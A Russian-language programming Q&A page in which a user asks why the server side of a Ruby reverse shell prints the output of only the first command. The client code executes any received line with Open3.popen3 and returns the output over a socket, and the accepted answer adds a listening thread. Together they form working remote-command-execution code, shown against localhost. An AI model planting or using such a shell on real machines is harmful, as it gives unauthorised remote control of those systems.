Обратная оболочка — как заставить сервер печатать несколько сообщений, отправленных клиенту

Моя обратная оболочка будет печатать вывод команды «ls» только в первый раз, как я могу заставить ее печатать на сервере столько раз, сколько захочу?

require 'socket'
require 'open3'

def createClient(hostname, port)

  s = TCPSocket.new hostname, port

    while line = s.gets
      if line == "exit"
        s.close
      end
      stdin, stdout, stderr, wait_thr = Open3.popen3(line)
      s.puts("#{stdout.read}")
    end
end

createClient("127.0.0.1", 9090)


require 'socket'

 def createServer(hostname, port)

   server = TCPServer.new(hostname, port)
   client = server.accept


   loop do

     message = gets.chomp
     if message == "exit"
       break
     end
     client.puts(message)
     while line = client.gets
       puts line
     end
   end

   client.close

end

createServer("127.0.0.1", 9090)

Я ожидал, что сервер напечатает все команды ls, обработанные клиентом, но он напечатал только первую.

Не уверен, имеет ли это значение, но в строке, отправленной в popen3, отсутствует завершающая новая строка.

Peter Camilleri 08.04.2019 04:35
Пошаговое руководство по созданию собственного Slackbot: От установки до развертывания
Пошаговое руководство по созданию собственного Slackbot: От установки до развертывания
Шаг 1: Создание приложения Slack Чтобы создать Slackbot, вам необходимо создать приложение Slack. Войдите в свою учетную запись Slack и перейдите на...
1
1
35
1
Перейти к ответу Данный вопрос помечен как решенный

Ответы 1

Ответ принят как подходящий

client.gets продолжает прослушивать сокет, пока он не будет закрыт. так он там висит.

можно попробовать открыть тред для прослушивания сокета. Основной цикл слушает стандартный ввод и отправляет сообщение в сокет. так:

   Thread.new do
     while line = client.gets 
        puts line
     end
   end

   loop do
     message = gets.chomp
     if message == "exit"
       break
     end
     client.puts(message)
   end

   client.close

Другие вопросы по теме